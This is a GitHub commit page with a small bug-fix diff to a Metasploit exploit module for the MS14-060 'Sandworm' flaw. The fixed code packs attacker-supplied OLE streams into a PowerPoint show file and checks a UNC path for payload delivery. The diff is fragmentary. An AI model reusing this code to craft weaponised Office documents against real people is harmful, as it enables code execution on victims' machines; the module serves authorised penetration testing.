Skip to content

Commit c1f9ccd

Browse files
committed
Fix ruby
1 parent e406427 commit c1f9ccd

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/windows/fileformat/ms14_060_sandworm.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -89,8 +89,8 @@ def exploit
8989
end
9090

9191
def validate_unc
92-
if datastore['UNCPATH'] =~ /\\\\([^\\]+)\\([^\\]+)/
93-
unc = datastore['UNPATH']
92+
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)/
93+
unc = datastore['UNCPATH']
9494
else
9595
unc = nil
9696
end
@@ -115,15 +115,15 @@ def zip_ppsx(ole_exe, ole_inf)
115115
end
116116
end
117117

118-
#add the otherwise skipped "hidden" file
118+
# add the otherwise skipped "hidden" file
119119
file = "#{data_dir}/_rels/.rels"
120120
zip_data[file.sub(data_dir,'')] = File.read(file)
121121

122-
#put our own OLE streams
122+
# put our own OLE streams
123123
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
124124
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf
125125

126-
#and lets create the file
126+
# create the ppsx
127127
ppsx = Rex::Zip::Archive.new
128128
zip_data.each_pair do |k,v|
129129
ppsx.add_file(k,v)
@@ -163,6 +163,7 @@ def create_ole(stream_name, data)
163163
stm << data
164164
stm.close
165165

166+
directory = stg.instance_variable_get(:@directory)
166167
directory.each_entry do |entry|
167168
if entry.instance_variable_get(:@_ab) == 'Root Entry'
168169
# 02260200-0000-0000-c000-000000000046 # Video clip

0 commit comments

Comments
 (0)